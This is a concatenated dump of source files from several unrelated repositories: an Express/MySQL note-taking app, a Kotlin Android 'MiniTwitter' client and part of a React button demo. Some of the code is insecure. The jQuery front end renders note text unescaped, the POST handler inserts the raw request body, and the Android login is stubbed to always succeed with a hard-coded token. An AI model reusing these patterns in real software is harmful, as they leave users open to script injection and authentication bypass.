] | 3 | Markdown | mahdi-mahdawi/Cowl-group | 5cc7c58125370282fd4b269ad4fb9a2faa9ba3de | f9589ee19c97353fe726424b365b0e27cbb3d8a5 |
refs/heads/master | <repo_name>fkabir101/note-taker<file_sep>/routes/api/apiRoutes.js
const router = require("express").Router();
const noteController = require("../../controller/notesControl");
router.route("/")
.get(noteController.getAllNotes)
.post(noteController.postNote);
router.route("/:id")
.get(noteController.getSingleNote)
.delete(noteController.deleteNote);
module.exports = router;<file_sep>/controller/notesControl.js
const db = require("../db/connection");
module.exports = {
// function to get all notes
getAllNotes: function(req, res){
db.query("SELECT * FROM notes", function(err, data){
if(err){
console.log(err);
throw err;
}
res.json(data);
})
},
// function to get single note
getSingleNote: function(req, res){
db.query("SELECT * FROM notes WHERE id=?",[req.params.id], function(err, data){
if(err){
console.log(err);
throw err;
}
res.json(data);
})
},
// function to post
postNote: function(req, res){
console.log(req.body);
db.query("INSERT INTO notes SET ?",req.body, function(err, data){
if(err){
console.log(err);
throw err;
}
res.json(true);
})
},
// function to delete
deleteNote: function(req, res){
console.log(req.body);
db.query("DELETE FROM notes WHERE id=?",[req.params.id], function(err, data){
if(err){
console.log(err);
throw err;
}
res.json(true);
})
}
}<file_sep>/db/schema.sql
DROP DATABASE IF EXISTS note_db;
CREATE DATABASE note_db;
USE note_db;
CREATE TABLE notes(
id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(50),
note VARCHAR(255) NOT NULL
);
INSERT INTO notes(title, note)
VALUES("First Note", "Do a thing and another thing");
INSERT INTO notes(title, note)
VALUES("Second Note", "Finish Homework");
INSERT INTO notes(title, note)
VALUES("Third Note", "Submit Homework");
INSERT INTO notes(title, note)
VALUES("A Long Note", "A really LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOONG note");<file_sep>/public/scripts/notetaker.js
// get notes on load
$(document).ready(function(){
$.ajax({
url: "/api",
method: "GET"
}).then(function(data){
data.forEach(function(index){
const listItem = $("<li class='list-group-item'>");
listItem.append(`<h4>${index.id}. ${index.title}</h4>`);
listItem.append(`<p>${index.note.substring(0, 15)}...</p>`);
listItem.append(`<button type="button" class="btn btn-outline-danger delete">Delete</button>`);
listItem.attr("id", index.id);
$("#list").append(listItem);
})
})
});
// function to run to display single note
$(".list-group").on("click",".list-group-item", function(event){
event.preventDefault();
id = ($(this).attr('id'));
$.ajax({
url: `/api/${id}`,
method: "GET",
}).then(function(data){
const noteDiv = $(`<div>`)
const heading = $(`<h2>${data[0].id}. ${data[0].title}</h2>`)
const note = $(`<p>${data[0].note}</p>`);
noteDiv.append(heading);
noteDiv.append(note);
$("#display").html(noteDiv);
});
});
// used to delete note
$(".list-group").on("click",".delete", function(event){
event.preventDefault();
id = ($(this).parent().attr('id'));
$.ajax({
url: `/api/${id}`,
method: "DELETE",
}).then(function(data){
if(data){
location.reload();
}
});
});
| b5187ae279c9c0e527e4fe97849d9bbb269055b9 | [
"JavaScript",
"SQL"
] | 4 | JavaScript | fkabir101/note-taker | 4f96ed4d8e66600e5c5a5a261df8fe1a1600d0d5 | 7ac0d8d482337c19ef3f702f01a3f131e5851e3d |
refs/heads/master | <repo_name>freyes26/MiniTwitter<file_sep>/app/src/main/java/com/example/minitwitter/ui/Login.kt
package com.example.minitwitter.ui
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.databinding.DataBindingUtil
import androidx.fragment.app.Fragment
import androidx.fragment.app.viewModels
import androidx.navigation.fragment.findNavController
import com.example.minitwitter.Constants
import com.example.minitwitter.R
import com.example.minitwitter.databinding.FragmentLoginBinding
import com.example.minitwitter.ui.dialog.ErrorDialog
import com.example.minitwitter.ui.dialog.WithOutInternetDialog
import com.example.minitwitter.viewModel.LoginViewModel
class Login : Fragment() {
private lateinit var _binding : FragmentLoginBinding
private val binding : FragmentLoginBinding get() = _binding
private val loginViewModel : LoginViewModel by viewModels()
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
_binding = DataBindingUtil.inflate(inflater,R.layout.fragment_login,container,false)
_binding.lifecycleOwner = viewLifecycleOwner
return binding.root
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
binding.viewModel = loginViewModel
makeApiCall()
event()
}
private fun makeApiCall(){
loginViewModel.loginAccess.observe(requireActivity(),{ value ->
value?.let {
doLogin(it)
}
})
}
private fun event(){
binding.materialButton.setOnClickListener {
onClickSingIn()
}
binding.register.setOnClickListener{
onClickSingUo()
}
}
private fun onClickSingUo(){
val singUp = LoginDirections.actionLoginToSingUp()
findNavController().navigate(singUp)
}
private fun onClickSingIn(){
val username = binding.username.text.toString()
val pws = binding.pws.text.toString()
if (check(username) && check(pws)) {
loginViewModel.userName.postValue(username)
loginViewModel.pws.postValue(pws)
loginViewModel.doLogin()
}
else{
binding.textError.visibility = View.VISIBLE
if(!check(username)) {
setOnBlack(getString(R.string.required_email))
}
else {
setOnBlack(getString(R.string.requeired_pws))
}
}
}
private fun doLogin(status : Int) {
if (status != Constants.WITHUOTSESSION) {
when (status) {
Constants.SUCCESS -> {
val action = LoginDirections.actionLoginToHomeMinitwitter()
findNavController().navigate(action)
activity?.finish()
}
Constants.WITHOUT_INTERNET -> {
val dialog = WithOutInternetDialog()
dialog.show(requireActivity().supportFragmentManager, Constants.DIALOG_TAG)
}
else -> {
val dialog = ErrorDialog()
dialog.show(requireActivity().supportFragmentManager, Constants.DIALOG_TAG)
}
}
}
}
private fun setOnBlack(error: String){
binding.textError.text = error
}
private fun check(value : String) = value != ""
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/json/request/RequestLogin.kt
package com.example.minitwitter.repository.netWork.json.request
class RequestLogin(
val email : String,
val password : String
) {
}<file_sep>/app/src/main/java/com/example/minitwitter/ui/SingUp.kt
package com.example.minitwitter.ui
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.databinding.DataBindingUtil
import androidx.fragment.app.Fragment
import androidx.fragment.app.viewModels
import androidx.navigation.fragment.findNavController
import com.example.minitwitter.Constants
import com.example.minitwitter.R
import com.example.minitwitter.databinding.FragmentSingUpBinding
import com.example.minitwitter.ui.dialog.ErrorDialog
import com.example.minitwitter.ui.dialog.WithOutInternetDialog
import com.example.minitwitter.viewModel.SingUpViewModel
class SingUp : Fragment() {
private lateinit var _binding : FragmentSingUpBinding
private val binding : FragmentSingUpBinding get() = _binding
private val singupViewModel : SingUpViewModel by viewModels()
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
_binding = DataBindingUtil.inflate(layoutInflater, R.layout.fragment_sing_up,null,false)
_binding.lifecycleOwner = viewLifecycleOwner
return binding.root
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
makeApiCall()
event()
}
private fun makeApiCall(){
singupViewModel.accessLogin.observe(requireActivity(),{ value ->
value?.let {
createAcount(it)
}
})
}
fun event(){
binding.materialButton.setOnClickListener {
validateacount()
}
binding.login.setOnClickListener{
findNavController().popBackStack()
}
}
fun validateacount(){
val user = binding.username.text.toString()
val pws = binding.pws.text.toString()
val emal = binding.email.text.toString()
if (checkBlanck(user) && checkBlanck(pws) && checkBlanck(emal)){
singupViewModel.userName.postValue(user)
singupViewModel.pws.postValue(pws)
singupViewModel.emal.postValue(emal)
singupViewModel.doSingUp()
}
else {
binding.textError.visibility = View.VISIBLE
if(!checkBlanck(user)){
binding.textError.text = getString(R.string.requeired_username)
}
else if(!checkBlanck(emal)){
binding.textError.text = getString(R.string.required_email)
}
else{
binding.textError.text = getString(R.string.requeired_pws)
}
}
}
fun createAcount(status : Int){
if (status != Constants.WITHUOTSESSION) {
when (status) {
Constants.SUCCESS -> {
val action = LoginDirections.actionLoginToHomeMinitwitter()
findNavController().navigate(action)
activity?.finish()
}
Constants.WITHOUT_INTERNET -> {
val dialog = WithOutInternetDialog()
dialog.show(requireActivity().supportFragmentManager, Constants.DIALOG_TAG)
}
else -> {
val dialog = ErrorDialog()
dialog.show(requireActivity().supportFragmentManager, Constants.DIALOG_TAG)
}
}
}
}
fun checkBlanck(value :String) = value != ""
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/Connection.kt
package com.example.minitwitter.repository.netWork
import android.content.Context
import android.net.ConnectivityManager
object Connection {
fun isConnected(context: Context) : Boolean{
val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
val activeNetwork = connectivityManager.activeNetworkInfo
return activeNetwork?.isConnectedOrConnecting == true
}
}<file_sep>/app/src/main/java/com/example/minitwitter/viewModel/SingUpViewModel.kt
package com.example.minitwitter.viewModel
import android.util.Log
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import com.example.minitwitter.Constants
import com.example.minitwitter.MiniTwitterApplication
import com.example.minitwitter.repository.ValidatorFactory
import com.example.minitwitter.repository.netWork.Connection
import com.example.minitwitter.repository.netWork.json.request.RequestSingUp
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
class SingUpViewModel : ViewModel() {
private val repository by lazy { ValidatorFactory() }
var userName = MutableLiveData("")
var pws = MutableLiveData("")
var emal = MutableLiveData("")
private var _accessLogin = MutableLiveData(Constants.WITHUOTSESSION)
val accessLogin : LiveData<Int> get() = _accessLogin
fun doSingUp(){
val requestSingUp = RequestSingUp(userName.value!!, emal.value!!,pws.value!!,Constants.retrofit.TOKEN)
if(Connection.isConnected(MiniTwitterApplication.context)){
viewModelScope.launch(){
try{
val result = withContext(Dispatchers.IO){
repository.getValidator().doSingup(requestSingUp)
}
_accessLogin.postValue(when {
result != null -> {
Log.d("MINITWITTER", result.username)
Constants.SUCCESS
}
else ->{
Log.d("MINITWITTER", "Error")
Constants.ERROR_REQUEST
}
})
}
catch (cause : Throwable ){
Log.d("MINITWITTER", cause.message.toString())
_accessLogin.postValue(Constants.ERROR_REQUEST)
}
}
}
else{
_accessLogin.postValue(Constants.WITHOUT_INTERNET)
}
}
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/Repository.kt
package com.example.minitwitter.repository
interface Repository {
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/json/Twit.kt
package com.example.minitwitter.repository.netWork.json
class Twit(
val id: Int
) {
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/NetWorkRepository.kt
package com.example.minitwitter.repository.netWork
import com.example.minitwitter.MiniTwitterApplication
import com.example.minitwitter.repository.Repository
import com.example.minitwitter.repository.netWork.json.request.RequestLogin
import com.example.minitwitter.repository.netWork.json.request.RequestSingUp
import com.example.minitwitter.repository.netWork.json.response.ResponseAuth
class NetWorkRepository() : Repository {
suspend fun doLogin(requestLogin: RequestLogin): ResponseAuth? {
return MiniTwitterApplication.application.minitwitterConnection.doLogin(requestLogin)
}
suspend fun doSingup(requestSingUp: RequestSingUp) : ResponseAuth?{
return MiniTwitterApplication.application.minitwitterConnection.doSingUp((requestSingUp))
}
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/AuthInterceptor.kt
package com.example.minitwitter.repository.netWork
import com.example.minitwitter.Constants
import com.example.minitwitter.MiniTwitterApplication
import okhttp3.Interceptor
import okhttp3.Response
class AuthInterceptor : Interceptor {
override fun intercept(chain: Interceptor.Chain): Response {
val token = MiniTwitterApplication.SharePreferences.getString(Constants.preferences.PREF_TOKEN, "")
val request = chain.request()
.newBuilder()
.addHeader(Constants.retrofit.HEAD_AUTH, "Bearer $token")
.build()
return chain.proceed(request)
}
}<file_sep>/app/src/main/java/com/example/minitwitter/viewModel/HomeViewModel.kt
package com.example.minitwitter.viewModel
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.ViewModel
import com.example.minitwitter.Constants
import com.example.minitwitter.MiniTwitterApplication
class HomeViewModel : ViewModel(){
val username = MutableLiveData(MiniTwitterApplication.SharePreferences.getString(Constants.preferences.PREF_TOKEN, ""))
}<file_sep>/app/src/main/java/com/example/minitwitter/ui/dialog/ErrorDialog.kt
package com.example.minitwitter.ui.dialog
import android.app.AlertDialog
import android.app.Dialog
import android.os.Bundle
import androidx.fragment.app.DialogFragment
import com.example.minitwitter.R
class ErrorDialog : DialogFragment() {
override fun onCreateDialog(savedInstanceState: Bundle?): Dialog {
return activity?.let {
val buider = AlertDialog.Builder(it)
buider.setTitle(getString(R.string.title_dialog_error))
.setNegativeButton(R.string.close){ dialog, _ ->
dialog.dismiss()
}
buider.create()
}?: throw IllegalStateException("Activity cannot be null")
}
}<file_sep>/app/src/main/java/com/example/minitwitter/ui/HomeFragment.kt
package com.example.minitwitter.ui
import android.os.Bundle
import android.util.Log
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.databinding.DataBindingUtil
import androidx.fragment.app.Fragment
import androidx.fragment.app.viewModels
import androidx.recyclerview.widget.LinearLayoutManager
import com.example.minitwitter.BR
import com.example.minitwitter.R
import com.example.minitwitter.databinding.FragmentHomeBinding
import com.example.minitwitter.repository.netWork.json.Twit
import com.example.minitwitter.ui.adapter.HomeItemAdapter
import com.example.minitwitter.ui.adapter.TwitListener
import com.example.minitwitter.viewModel.HomeViewModel
class HomeFragment : Fragment() {
private lateinit var _binding : FragmentHomeBinding
val binding : FragmentHomeBinding get() = _binding
val homeViewModel : HomeViewModel by viewModels()
private lateinit var adapter: HomeItemAdapter
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
_binding = DataBindingUtil.inflate(inflater, R.layout.fragment_home, container, false)
adapter = HomeItemAdapter(TwitListener { twit -> mylistener(twit) })
_binding.lifecycleOwner = viewLifecycleOwner
makeApiCall()
return binding.root
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
binding.setVariable(BR.viewModel, homeViewModel)
binding.executePendingBindings()
binding.homeRecyclerview.adapter = adapter
binding.homeRecyclerview.layoutManager= LinearLayoutManager(requireContext())
binding.homeRecyclerview.setHasFixedSize(false)
binding.viewModel = homeViewModel
}
fun makeApiCall(){
homeViewModel.username.observe(requireActivity(), {
it.let {
Log.d("MINITWITTER", "CAMBIO EL NOMBRE")
}
})
}
fun mylistener(twit: Twit){
}
}<file_sep>/app/src/main/java/com/example/minitwitter/ui/adapter/HomeItemAdapter.kt
package com.example.minitwitter.ui.adapter
import android.view.LayoutInflater
import android.view.ViewGroup
import androidx.recyclerview.widget.DiffUtil
import androidx.recyclerview.widget.ListAdapter
import androidx.recyclerview.widget.RecyclerView
import com.example.minitwitter.databinding.ItenListHomeBinding
import com.example.minitwitter.repository.netWork.json.Twit
class HomeItemAdapter(val twitListener: TwitListener) :
ListAdapter<Twit, HomeItemAdapter.ItemViewHolder>(TwitComparator()){
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ItemViewHolder {
return ItemViewHolder.from(parent)
}
override fun onBindViewHolder(holder: ItemViewHolder, position: Int) {
val twit = getItem(position)
holder.bind(twit,twitListener)
}
class ItemViewHolder private constructor(val binding: ItenListHomeBinding) : RecyclerView.ViewHolder(binding.root){
fun bind(item: Twit, twitListener: TwitListener){
binding.item = item
binding.executePendingBindings()
}
companion object{
fun from(parent: ViewGroup) : ItemViewHolder{
val layoutInflater = LayoutInflater.from(parent.context)
val binding = ItenListHomeBinding.inflate(layoutInflater,parent,false)
return ItemViewHolder(binding)
}
}
}
class TwitComparator : DiffUtil.ItemCallback<Twit>() {
override fun areItemsTheSame(oldItem: Twit, newItem: Twit): Boolean {
return oldItem === newItem
}
override fun areContentsTheSame(oldItem: Twit, newItem: Twit): Boolean {
return oldItem.id == newItem.id
}
}
}
class TwitListener(val onClickListener : (Twit) -> Unit){
fun onClick(twit: Twit) = onClickListener(twit)
}<file_sep>/app/src/main/java/com/example/minitwitter/ui/dialog/WithOutInternetDialog.kt
package com.example.minitwitter.ui.dialog
import android.app.AlertDialog
import android.app.Dialog
import android.content.Intent
import android.os.Bundle
import android.provider.Settings
import androidx.fragment.app.DialogFragment
import com.example.minitwitter.R
class WithOutInternetDialog : DialogFragment() {
override fun onCreateDialog(savedInstanceState: Bundle?): Dialog {
return activity?.let {
val buider = AlertDialog.Builder(it)
buider.setTitle(getString(R.string.title_dialog_witouh_internet))
.setPositiveButton(getString(R.string.settings)){_, _ ->
val intent = Intent(Settings.ACTION_WIFI_SETTINGS)
if(it.packageManager?.resolveActivity(intent, 0) != null){
startActivity(intent)
}
}
.setNegativeButton(R.string.close){ dialog, _ ->
dialog.dismiss()
}
buider.create()
}?: throw IllegalStateException("Activity cannot be null")
}
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/json/response/ResponseAuth.kt
package com.example.minitwitter.repository.netWork.json.response
class ResponseAuth(
val token : String,
val username : String,
val photoUrl : String,
val created : String
) {
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/RestApi.kt
package com.example.minitwitter.repository.netWork
import com.example.minitwitter.repository.netWork.json.request.RequestLogin
import com.example.minitwitter.repository.netWork.json.request.RequestSingUp
import com.example.minitwitter.repository.netWork.json.response.ResponseAuth
import retrofit2.http.Body
import retrofit2.http.POST
interface RestApi {
@POST("auth/login")
suspend fun doLogin(@Body requestLogin: RequestLogin): ResponseAuth?
@POST("auth/signup")
suspend fun doSingUp(@Body requestSingUp: RequestSingUp) : ResponseAuth?
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/ValidatorFactory.kt
package com.example.minitwitter.repository
import com.example.minitwitter.repository.netWork.NetWorkRepository
class ValidatorFactory {
fun getValidator() = NetWorkRepository()
}<file_sep>/app/src/main/java/com/example/minitwitter/viewModel/LoginViewModel.kt
package com.example.minitwitter.viewModel
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.ViewModel
import com.example.minitwitter.Constants
import com.example.minitwitter.MiniTwitterApplication
import com.example.minitwitter.repository.ValidatorFactory
import com.example.minitwitter.repository.netWork.Connection
import com.example.minitwitter.repository.netWork.json.request.RequestLogin
class LoginViewModel : ViewModel(){
private val repository by lazy { ValidatorFactory() }
var userName = MutableLiveData("")
var pws = MutableLiveData("")
private var _loginAccess : MutableLiveData<Int> = MutableLiveData(Constants.WITHUOTSESSION)
val loginAccess : LiveData<Int> get() = _loginAccess
fun doLogin(){
val requestLogin = RequestLogin(userName.value!!, pws.value!!)
if(Connection.isConnected(MiniTwitterApplication.context)){
/*viewModelScope.launch {
try {
val result = withContext(Dispatchers.IO) {
repository.getValidator().doLogin(requestLogin)
}
_loginAccess.postValue(when {
result != null -> {
Log.d("MINITWITTER", "${result.toString()}")
MiniTwitterApplication.SharePreferences.edit()
.putString(Constants.preferences.PREF_TOKEN, result.token)
.commit()
Constants.SUCCESS
}
else -> {
Log.d("MINITWITTER", "RespuestaVacia")
Constants.ERROR_REQUEST
}
})
}catch (e : Throwable) {
_loginAccess.postValue(Constants.ERROR_REQUEST)
}
}*/
_loginAccess.postValue(Constants.SUCCESS)
MiniTwitterApplication.SharePreferences.edit()
.putString(Constants.preferences.PREF_TOKEN, "12345678900987654321234567890")
.commit()
}
else{
_loginAccess.postValue(Constants.WITHOUT_INTERNET)
}
}
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/json/request/RequestSingUp.kt
package com.example.minitwitter.repository.netWork.json.request
class RequestSingUp (
val username : String,
val email : String,
val password : String,
val code : String
){}<file_sep>/app/src/main/java/com/example/minitwitter/Constants.kt
package com.example.minitwitter
object Constants {
const val DIALOG_TAG = "dialogo"
const val WITHUOTSESSION = 0
const val ERROR_REQUEST = 1
const val WITHOUT_INTERNET = 2
const val SUCCESS = 3
const val SHAREDPREFERENCES = "MinitwitterSharePreferences"
object preferences{
const val PREF_TOKEN = "PREF_TOKEN"
}
object retrofit{
const val URL = "https://www.minitwitter.com:3001/apiv1/"
//const val URL = "https://api.themoviedb.org/"
const val TOKEN = "<PASSWORD>"
const val HEAD_AUTH = "Authorization"
}
}
<file_sep>/app/src/main/java/com/example/minitwitter/MiniTwitterApplication.kt
package com.example.minitwitter
import android.app.Application
import android.content.Context
import android.content.SharedPreferences
import com.example.minitwitter.repository.netWork.ApiRetrofit
import com.example.minitwitter.repository.netWork.RestApi
import com.facebook.stetho.Stetho
import retrofit2.Retrofit
import retrofit2.converter.gson.GsonConverterFactory
class MiniTwitterApplication : Application(){
companion object{
lateinit var application : MiniTwitterApplication
lateinit var context : Context
lateinit var SharePreferences: SharedPreferences
}
private val retrofitConfig : Retrofit by lazy { Retrofit.Builder()
.addConverterFactory(GsonConverterFactory.create())
.baseUrl(Constants.retrofit.URL)
.build()
}
val minitwitterConnection by lazy { ApiRetrofit(application.retrofitConfig).create(RestApi::class.java) }
override fun onCreate() {
super.onCreate()
application = this
context = this.applicationContext
SharePreferences = getSharedPreferences(Constants.SHAREDPREFERENCES, Context.MODE_PRIVATE)
Stetho.initializeWithDefaults(this)
}
}<file_sep>/app/src/main/java/com/example/minitwitter/repository/netWork/ApiRetrofit.kt
package com.example.minitwitter.repository.netWork
import retrofit2.Retrofit
class ApiRetrofit(val retrofit: Retrofit) {
fun <T> create(value : Class<T>) : T{
return retrofit.create(value)
}
} | 94448bb50f9c1222c2dfe0126fd708e0986d6764 | [
"Kotlin"
] | 22 | Kotlin | freyes26/MiniTwitter | c0cdd89f1dc14be9e819420853ce2a75e5b1436d | a2ab5bdfb88fc0abae7d5a915d4d228abf7ff7e8 |
refs/heads/main | <repo_name>JLamp/vhs-buttons<file_sep>/src/components/ToggleButton.jsx
import { Button } from "./Button";
import { useState } from "react";
export function ToggleButton({
toggleOffIcon,
toggleOnIcon,
toggleOffLabel,
toggleOnLabel,
}) {
const [toggle, changeToggle] = useState(false);
function handleClick() {
changeToggle(!toggle);
}
return toggle ? (
// Toggle On
<Button
color="#fa4040"
size="lg"
variant="outlined"
iconPlacement="only"
icon={toggleOnIcon}
label={toggleOnLabel}
onClick={handleClick}
/>
) : (
// Toggle Off
<Button
color="white"
size="lg"
variant="outlined"
iconPlacement="only"
icon={toggleOffIcon}
label={toggleOffLabel}
onClick={handleClick}
/>
);
}
<file_sep>/src/components/Icon/Icon.stories.jsx
import styled from 'styled-components';
import { Icon, iconSizeMap } from './Icon';
import { iconMap } from './iconMap';
const iconList = Object.keys(iconMap);
const iconSizes = Object.entries(iconSizeMap);
const FlexContainer = styled.div`
display: flex;
flex-wrap: wrap;
`;
const FlexItem = styled.div`
align-items: center;
display: flex;
flex-basis: ${({ width }) => width || '16%'};
flex-direction: column;
flex-grow: 0;
flex-shrink: 0;
padding: 20px;
`;
const IconName = styled.code`
background: ${({ theme }) => theme.color.grey100};
border: 1px solid ${({ theme }) => theme.color.grey300};
color: ${({ theme }) => theme.color.brandBlue500};
font-size: 14px;
padding: 2px 4px;
white-space: nowrap;
`;
const IconContainer = styled.div`
color: ${({ theme }) => theme.color.grey500};
`;
export default {
title: 'Components/Icon',
component: Icon,
};
export const IconDefault = () => (
<FlexContainer>
{iconList.map((icon) => (
<FlexItem key={icon}>
<IconContainer>
<Icon type={icon} />
</IconContainer>
<br />
<IconName>{icon}</IconName>
</FlexItem>
))}
</FlexContainer>
);
IconDefault.storyName = 'All icons';
export const IconSizes = () => (
<FlexContainer>
{iconSizes.map(([sizeName, sizeValue]) => (
<FlexItem key={sizeName} width={`${(1 / iconSizes.length) * 100}%`}>
<Icon type="asterisk" size={sizeName} />
<br />
<IconName>
{sizeName}: {`${sizeValue}px`}
</IconName>
</FlexItem>
))}
</FlexContainer>
);
IconSizes.storyName = 'Sizes';
<file_sep>/src/components/MakeButton.jsx
import { Button } from "./Button";
import { useState } from "react";
import { colors } from "../colors";
import styled from "styled-components";
import { iconMap } from "./Icon/iconMap";
import { Switch } from "@mui/material";
const iconList = Object.keys(iconMap);
const InputsContainer = styled.div`
display: flex;
flex-direction: row;
margin-top: 16px;
flex-wrap: wrap;
max-width: 600px;
& label {
font-size: 12px;
font-weight: 600;
margin-top: 16px;
margin-bottom: 4px;
padding-right: 8px;
}
& input,
select {
font-size: 14px;
padding: 8px;
}
`;
const StyledForm = styled.form`
display: flex;
flex-direction: column;
margin-right: 16px;
`;
const ButtonContainer = styled.div`
max-width: 240px;
border-radius: 8px;
padding: 24px 0;
// background: black;
margin: 16px 0;
`;
export function MakeButton() {
const [size, changeSize] = useState("lg");
const [style, changeStyle] = useState("contained");
const [label, changeLabel] = useState("Button");
const [color, changeColor] = useState("#1e64f0");
const [iconPlacement, changeIconPlacement] = useState("left");
const [icon, changeIcon] = useState("");
const [loading, changeLoading] = useState(false);
function handleLoading() {
const STATE = loading;
changeLoading(!STATE);
}
const [hideToolTip, changeHideToolTip] = useState(false);
function handleHideToolTip() {
const STATE = loading;
changeHideToolTip(!STATE);
}
const [fullWidth, changeFullWidth] = useState(false);
function handleFullWidth() {
const STATE = fullWidth;
changeFullWidth(!STATE);
}
return (
<div>
<h3> Make A Button </h3>
<ButtonContainer>
<Button
size={size}
variant={style}
label={label.length > 0 ? label : "Button"}
color={color}
iconPlacement={iconPlacement}
icon={icon}
hideToolTip={hideToolTip}
loading={loading}
fullWidth={fullWidth}
/>
</ButtonContainer>
<InputsContainer>
{/* LABEL */}
<StyledForm>
<label>Label</label>
<input
type="text"
name="Label"
placeholder="Button"
onChange={(e) => {
const newValue = e.target.value;
changeLabel(newValue);
}}
/>
</StyledForm>
{/* Icon */}
<StyledForm>
<label>Icon</label>
<select
onChange={(e) => {
const selectedValue = e.target.value;
changeIcon(selectedValue);
}}
>
<option value={""}>None</option>
{iconList.map((icon) => (
<option key={icon} value={icon}>
{icon}
</option>
))}
</select>
</StyledForm>
{/* SIZE */}
<StyledForm>
<label>Size</label>
<select
onChange={(e) => {
const selectedValue = e.target.value;
changeSize(selectedValue);
}}
>
<option value={"lg"}>Large</option>
<option value={"md"}>Medium</option>
<option value={"sm"}>Small</option>
</select>
</StyledForm>
{/* STYLE */}
<StyledForm>
<label>Variant</label>
<select
onChange={(e) => {
const selectedValue = e.target.value;
changeStyle(selectedValue);
}}
>
<option value={"contained"}>Contained</option>
<option value={"outlined"}>Outlined</option>
<option value={"text"}>Text</option>
</select>
</StyledForm>
{/* COLOR */}
<StyledForm>
<label>Color</label>
<select
onChange={(e) => {
const selectedValue = e.target.value;
changeColor(selectedValue);
}}
>
{colors.map((color) => (
<option key={color[0]} value={color[1]}>
{color[0]}
</option>
))}
</select>
</StyledForm>
{/* ICON PLACEMENT */}
<StyledForm>
<label>Icon Placement</label>
<select
onChange={(e) => {
const selectedValue = e.target.value;
changeIconPlacement(selectedValue);
}}
>
<option value={"left"}>Left</option>
<option value={"right"}>Right</option>
<option value={"top"}>Top</option>
<option value={"only"}>Only</option>
</select>
</StyledForm>
{/* Hide ToolTip */}
<StyledForm>
<label>Hide ToolTip?</label>
<Switch
onChange={handleHideToolTip}
disabled={iconPlacement === "only" ? false : true}
/>
</StyledForm>
{/* Full Width */}
<StyledForm>
<label>Full Width?</label>
<Switch onChange={handleFullWidth} />
</StyledForm>
{/* Loading */}
<StyledForm>
<label>Loading?</label>
<Switch onChange={handleLoading} />
</StyledForm>
</InputsContainer>
</div>
);
}
<file_sep>/src/components/Icon/iconMap.jsx
// @component - imported from `./icons/`
export const iconMap = {
"ab-test": "AbTestIcon",
"all-content": "AllContentIcon",
"arrow-left": "ArrowLeftIcon",
asterisk: "AsteriskIcon",
audience: "AudienceIcon",
"caret-down": "CaretDownIcon",
"caret-left": "CaretLeftIcon",
"caret-right": "CaretRightIcon",
"caret-up": "CaretUpIcon",
channel: "ChannelIcon",
checkmark: "CheckmarkIcon",
close: "CloseIcon",
community: "CommunityIcon",
"contact-us": "ContactUsIcon",
copy: "LinkIcon",
"copy-disabled": "CopyDisabledIcon",
create: "CreateIcon",
customize: "CustomizeIcon",
delete: "DeleteIcon",
"delete-sm": "DeleteSmIcon",
details: "MoveCopyIcon",
download: "DownloadIcon",
edit: "PencilIcon",
embed: "EmbedIcon",
ellipsis: "EllipsisIcon",
episodes: "EpisodesIcon",
export: "DownloadIcon",
error: "TriangleIcon",
favorite: "FavoriteIcon",
font: "FontIcon",
gear: "GearIcon",
"getting-started": "GettingStartedIcon",
"group-plus": "GroupPlusIcon",
hazard: "HazardIcon",
"help-center": "HelpCenterIcon",
integrations: "IntegrationsIcon",
link: "LinkIcon",
lock: "LockIcon",
logout: "LogoutIcon",
media: "MediaIcon",
megaphone: "MegaphoneIcon",
"more-options": "MoreOptionsIcon",
"move-copy": "MoveCopyIcon",
"mute-audio": "MuteAudioIcon",
"mute-video": "MuteVideoIcon",
"mute-screen": "MuteScreenIcon",
notify: "NotifyIcon",
"open-new": "OpenNewIcon",
overview: "OverviewIcon",
pencil: "PencilIcon",
permissions: "GroupPlusIcon",
podcast: "PodcastIcon",
preview: "PreviewIcon",
"private-user-sessions": "PrivateUserSessionsIcon",
project: "ProjectIcon",
promote: "PromoteIcon",
publish: "PublishIcon",
"question-mark": "QuestionMarkIcon",
replace: "ReplaceIcon",
revert: "RevertIcon",
screwdriver: "ScrewdriverIcon",
"set-defaults": "SetDefaultsIcon",
search: "SearchIcon",
share: "ShareIcon",
showcase: "ShowcaseIcon",
soapbox: "SoapboxIcon",
spinner: "SpinnerIcon",
stats: "StatsIcon",
subscribe: "SubscribeIcon",
"switch-accounts": "SwitchAccountsIcon",
triangle: "TriangleIcon",
undo: "UndoIcon",
upload: "UploadIcon",
"users-permissions": "UsersPermissionsIcon",
"view-stream": "ViewStreamIcon",
wand: "WandIcon",
};
<file_sep>/src/components/Icon/index.jsx
